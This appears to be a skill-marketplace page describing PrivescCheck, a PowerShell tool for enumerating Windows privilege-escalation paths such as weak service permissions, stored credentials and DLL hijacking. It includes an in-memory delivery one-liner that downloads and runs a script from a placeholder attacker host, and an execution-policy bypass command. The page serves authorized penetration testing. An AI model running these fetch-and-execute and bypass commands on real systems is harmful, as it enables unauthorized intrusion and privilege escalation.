offensive-tools/windows/privesccheck/SKILL.md
Auth/lab ref: PrivescCheck Windows privilege review; services, tasks, registry policy, DLL/COM paths, stored-secret indicators.
npx skillsauth add aeondave/malskill privesccheckInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
PowerShell-native Windows privilege escalation enumeration with readable output and reporting support.
Use PrivescCheck when:
It complements winpeas; it does not replace it entirely.
# In-memory delivery
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER/PrivescCheck.ps1"); Invoke-PrivescCheck
# Thorough enumeration
Invoke-PrivescCheck -Extended
# HTML report
Invoke-PrivescCheck -Report privesc_report -Format HTML
# Local script execution
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
| Category | What it enumerates | |---|---| | Services | Unquoted paths, weak DACLs, writable binaries | | Scheduled Tasks | Writable task scripts, privileged task actions | | Registry | AlwaysInstallElevated, autoruns, weak policy settings | | Credentials | GPP remnants, stored credentials, autologon clues | | Current User | Token privileges, group memberships, effective context | | COM Objects | Hijackable registrations | | DLL Hijacking | Search-order abuse opportunities |
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER/PrivescCheck.ps1"); Invoke-PrivescCheck
# Triage services, tasks, registry, token privileges first
. .\PrivescCheck.ps1
Invoke-PrivescCheck -Extended -Report privesc_report -Format HTML
1. Run PrivescCheck first for readable PS-native output
2. Validate high-confidence findings
3. Run WinPEAS if more breadth is needed
4. Build exploit chain from confirmed vector
| Level | Meaning | |---|---| | Info | All findings including informational (default) | | Low | Medium+ severity only | | Medium | High severity focus |
| Skill | Best use |
|---|---|
| winpeas | Broad, aggressive Windows privesc enumeration |
| watson | Patch/CVE-focused post-exploitation triage |
| powerview | AD privilege and domain attack-path discovery |
| File | When to load |
|---|---|
| references/ps-opsec-and-reporting.md | PowerShell-native delivery, report workflow, and when to prefer PrivescCheck over WinPEAS |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.